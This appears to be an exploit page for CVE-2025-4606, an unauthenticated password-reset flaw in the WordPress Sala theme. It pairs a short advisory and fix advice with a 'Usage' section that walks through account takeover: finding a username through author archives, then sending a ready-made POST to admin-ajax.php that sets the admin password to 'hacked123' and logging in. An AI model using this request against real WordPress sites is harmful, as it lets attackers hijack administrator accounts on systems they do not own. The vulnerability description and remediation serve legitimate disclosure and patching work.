CVE-2025-4606- WordPress Sala Theme <= 1.1.4 - Unauthenticated Privilege Escalation via Password Reset/Account Takeover

🔥 Vulnerability Summary
The WordPress theme Sala versions <= 1.1.4 is vulnerable to an unauthenticated privilege escalation vulnerability. This flaw allows unauthenticated attackers to reset passwords of arbitrary users — including administrators — by directly invoking an exposed AJAX endpoint without verifying the identity of the requester.

This vulnerability stems from the change_password_ajax function registered to wp_ajax_nopriv_, which sets a new password for any valid user login without checking if the request is authorized.

🔍 Affected Theme

• Theme Name: Sala – Startup & SaaS WordPress Theme
• Affected Version: <= 1.1.4
• Vulnerability Type: Unauthenticated Privilege Escalation
• CVE ID: CVE-2025-4606
• CVSS Score: 9.8 (Critical)
• Impact: Complete Account Takeover (Including Admin)

🧪 Exploit Features

• 🔓 No authentication required
• 🔄 Overwrites any user’s password by providing a valid login name
• 📬 Targets the AJAX endpoint /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Works instantly if the attacker knows a valid username (e.g., admin)

🧠 Researcher

• Credit: Thai An

🚀 Usage

1. Identify a valid username on the target WordPress site. You can do this by checking:

   • Public author archive URLs (/author/username)

2. Craft the following POST request to reset the user’s password:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. If successful, you can now log in as the targeted user using the new password (hacked123 in the example above).

4. Visit /wp-login.php and verify access.

🛠 Fix Recommendations

• Theme developers should remove or secure the wp_ajax_nopriv_change_password_ajax hook.
• Always check is_user_logged_in() and verify the identity of the user before allowing sensitive actions.
• Implement nonce checks to prevent CSRF and unauthenticated abuse.

🔒 Disclaimer:
This information is provided for educational and authorized penetration testing purposes only. Unauthorized exploitation of systems is illegal and unethical.

📚 Reference:

• Wordfence Advisory